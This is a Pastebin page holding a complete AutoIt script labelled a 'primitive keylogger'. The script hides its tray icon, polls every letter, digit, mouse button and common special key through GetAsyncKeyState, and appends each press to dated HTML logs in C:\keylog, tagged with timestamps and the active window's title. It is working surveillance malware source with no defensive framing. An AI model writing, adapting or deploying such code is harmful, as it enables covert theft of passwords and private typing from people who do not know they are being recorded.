Want more features on Pastebin? Sign Up, it's FREE!
Guest

http://stackoverflow.com/questions/1298477/how-do-i-take-keyboard-input-in-autoit

By: a guest on Apr 13th, 2010  |  syntax: AutoIt  |  size: 6.72 KB  |  views: 2,106  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. Primitive keylogger, exit() on numpad multiply. writes to C:\keylog\*logfiles_dates
  2. ; keys are logged if held down, eg. q if pressed down will be continously logged.
  3. #NoTrayIcon ; dont show tray icon
  4. $hDll=DllOpen("user32.dll")
  5. $window2=""
  6. $date=@year&@mon&@mday
  7. $log="C:\keylog"
  8. DirCreate ($log)
  9. $file = FileOpen($log&"\logfiles"&$date&".htm", 1) ; C:\keylog\logfiles\$date.htm ; 1 = Write mode (append to end of file)
  10. If $file = -1 Then ; exit if unable to Open logfile.
  11.   Exit
  12. EndIf
  13. filewrite($file,"<font face=Verdana size=1>")
  14. ; ## Opt("TrayIconHide", 1) #hides the tray icon, although its visible for a second.
  15. Func terminate()
  16.         DllClose($hDll)
  17.         Exit 0
  18. EndFunc
  19. Func _LogKeyPress($what2log)
  20. $window=WinGetTitle("")
  21. if $window=$window2 Then
  22.     FileWrite($file,$what2log)
  23.     Sleep(100)
  24. Else
  25. $window2=$window
  26.  FileWrite($file, "<br><BR>" & "<b>["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
  27. sleep (100)
  28. Endif
  29. EndFunc
  30. Func _IsPressed($hexKey)
  31.  Local $aR, $bRv
  32.  $hexKey = '0x' & $hexKey
  33.  $aR = DllCall('user32.dll', "int", "GetAsyncKeyState", "int", $hexKey) ; The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
  34.  
  35.  If $aR[0] <> 0 Then ;Tests if two values are not equal. Case insensitive when used with strings. To do a case sensitive not equal comparison use Not ("string1" == "string2")
  36.     $bRv = 1
  37.  Else
  38.     $bRv = 0
  39.  EndIf
  40.  
  41.  Return $bRv
  42. EndFunc
  43. While 1
  44. ;---------------------------------------------end program header, begin program----------------------------
  45. If _IsPressed('6A') Then
  46.         local $a
  47.         $a=terminate()
  48. EndIf
  49.  If _IsPressed(41) Then ;if return 1
  50.     _LogKeyPress("a")
  51. EndIf
  52.  
  53.  
  54.  If _IsPressed(42) Then
  55.     _LogKeyPress("b")
  56. EndIf
  57.  
  58.  
  59.  If _IsPressed(43) Then
  60.     _LogKeyPress("c")
  61. EndIf
  62.  
  63.  
  64.  If _IsPressed(44) Then
  65.     _LogKeyPress("d")
  66. EndIf
  67.  
  68.  
  69.  If _IsPressed(45) Then
  70.     _LogKeyPress("e")
  71. EndIf
  72.  
  73.  
  74.  If _IsPressed(46) Then
  75.     _LogKeyPress("f")
  76. EndIf
  77.  
  78.  
  79.  If _IsPressed(47) Then
  80.     _LogKeyPress("g")
  81. EndIf
  82.  
  83.  
  84.  If _IsPressed(48) Then
  85.     _LogKeyPress("h")
  86. EndIf
  87.  
  88.  
  89.  If _IsPressed(49) Then
  90.     _LogKeyPress("i")
  91. EndIf
  92.  
  93.  
  94.  If _IsPressed('4a') Then
  95.     _LogKeyPress("j")
  96. EndIf
  97.  
  98.  
  99.  If _IsPressed('4b') Then
  100.     _LogKeyPress("k")
  101. EndIf
  102.  
  103.  
  104.  If _IsPressed('4c') Then
  105.     _LogKeyPress("l")
  106. EndIf
  107.  
  108.  
  109.  If _IsPressed('4d') Then
  110.     _LogKeyPress("m")
  111. EndIf
  112.  
  113.  
  114.  If _IsPressed('4e') = 1 Then
  115.     _LogKeyPress("n")
  116. EndIf
  117.  
  118.  
  119.  If _IsPressed('4f') Then
  120.     _LogKeyPress("o")
  121. EndIf
  122.  
  123.  
  124.  If _IsPressed(50) Then
  125.     _LogKeyPress("p")
  126. EndIf
  127.  
  128.  
  129.  If _IsPressed(51) Then
  130.     _LogKeyPress("q")
  131. EndIf
  132.  
  133.  
  134.  If _IsPressed(52) Then
  135.     _LogKeyPress("r")
  136. EndIf
  137.  
  138.  
  139.  If _IsPressed(53) Then
  140.     _LogKeyPress("s")
  141. EndIf
  142.  
  143.  
  144.  If _IsPressed(54) Then
  145.     _LogKeyPress("t")
  146. EndIf
  147.  
  148.  
  149.  If _IsPressed(55) Then
  150.     _LogKeyPress("u")
  151. EndIf
  152.  
  153.  
  154.  If _IsPressed(56) Then
  155.     _LogKeyPress("v")
  156. EndIf
  157.  
  158.  
  159.  If _IsPressed(57) Then
  160.     _LogKeyPress("w")
  161. EndIf
  162.  
  163.  
  164.  If _IsPressed(58) Then
  165.     _LogKeyPress("x")
  166. EndIf
  167.  
  168.  
  169.  If _IsPressed(59) Then
  170.     _LogKeyPress("y")
  171. EndIf
  172.  
  173.   If _IsPressed('5a') Then
  174.     _LogKeyPress("z")
  175. EndIf
  176.  
  177.  
  178. If _IsPressed('01') Then
  179.     _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT MOUSE}</i></font>")
  180. EndIf
  181.  
  182.  If _IsPressed('02') Then
  183.     _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT MOUSE}</i></font>")
  184.  EndIf
  185.  
  186.  
  187.    If _IsPressed('08') Then
  188.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BACKSPACE}</i></font>")
  189.  EndIf
  190.  
  191.  
  192.    If _IsPressed('09') Then
  193.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
  194.  EndIf
  195.  
  196.  
  197.    If _IsPressed('0d') Then
  198.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ENTER}</i></font>")
  199.  EndIf
  200.  
  201.  
  202.    If _IsPressed('10') Then
  203.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
  204.  EndIf
  205.  
  206.  
  207.      If _IsPressed('11') Then
  208.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
  209.  EndIf
  210.  
  211.  
  212.      If _IsPressed('12') Then
  213.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
  214. EndIf
  215.  
  216.  
  217.    If _IsPressed('13') Then
  218.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
  219.  EndIf  
  220.  
  221.  
  222.   If _IsPressed('14') Then
  223.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
  224. EndIf
  225.  
  226.  
  227.    If _IsPressed('1b') Then
  228.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
  229. EndIf
  230.  
  231.  
  232.    If _IsPressed('20') Then
  233.     _LogKeyPress(" ")
  234.  EndIf
  235.  
  236.  
  237.      If _IsPressed('21') Then
  238.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
  239.  EndIf
  240.  
  241.  
  242.      If _IsPressed('22') Then
  243.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGDOWN}</i></font>")
  244.  EndIf
  245.  
  246.  
  247.      If _IsPressed('23') Then
  248.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
  249.  EndIf
  250.  
  251.  
  252.      If _IsPressed('24') Then
  253.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
  254.  EndIf
  255.  
  256.  
  257.      If _IsPressed('25') Then
  258.     _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
  259.  EndIf
  260.  
  261.  
  262.      If _IsPressed('26') Then
  263.     _LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
  264.  EndIf
  265.  
  266.  
  267.      If _IsPressed('27') Then
  268.     _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
  269.  EndIf
  270.  
  271.  
  272.      If _IsPressed('28') Then
  273.     _LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
  274.  EndIf
  275.  
  276.  
  277.      If _IsPressed('2c') Then
  278.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRNTSCRN}</i></font>")
  279.  EndIf
  280.  
  281.  
  282.      If _IsPressed('2d') Then
  283.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
  284.  EndIf
  285.  
  286.  
  287.      If _IsPressed('2e') Then
  288.     _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
  289. EndIf
  290.  
  291.    If _IsPressed('30') Then
  292.     _LogKeyPress("0")
  293.  EndIf
  294.  
  295.  
  296.      If _IsPressed('31') Then
  297.     _LogKeyPress("1")
  298.  EndIf
  299.  
  300.  
  301.      If _IsPressed('32') Then
  302.     _LogKeyPress("2")
  303.  EndIf
  304.  
  305.  
  306.      If _IsPressed('33') Then
  307.     _LogKeyPress("3")
  308.  EndIf
  309.  
  310.  
  311.      If _IsPressed('34') Then
  312.     _LogKeyPress("4")
  313.  EndIf
  314.  
  315.  
  316.      If _IsPressed('35') Then
  317.     _LogKeyPress("5")
  318.  EndIf
  319.  
  320.  
  321.      If _IsPressed('36') Then
  322.     _LogKeyPress("6")
  323.  EndIf
  324.  
  325.  
  326.      If _IsPressed('37') Then
  327.     _LogKeyPress("7")
  328.  EndIf
  329.  
  330.  
  331.      If _IsPressed('38') Then
  332.     _LogKeyPress("8")
  333. EndIf
  334.  
  335.  
  336.    If _IsPressed('39') Then
  337.     _LogKeyPress("9")
  338. EndIf
  339.  
  340. WEnd
clone this paste RAW Paste Data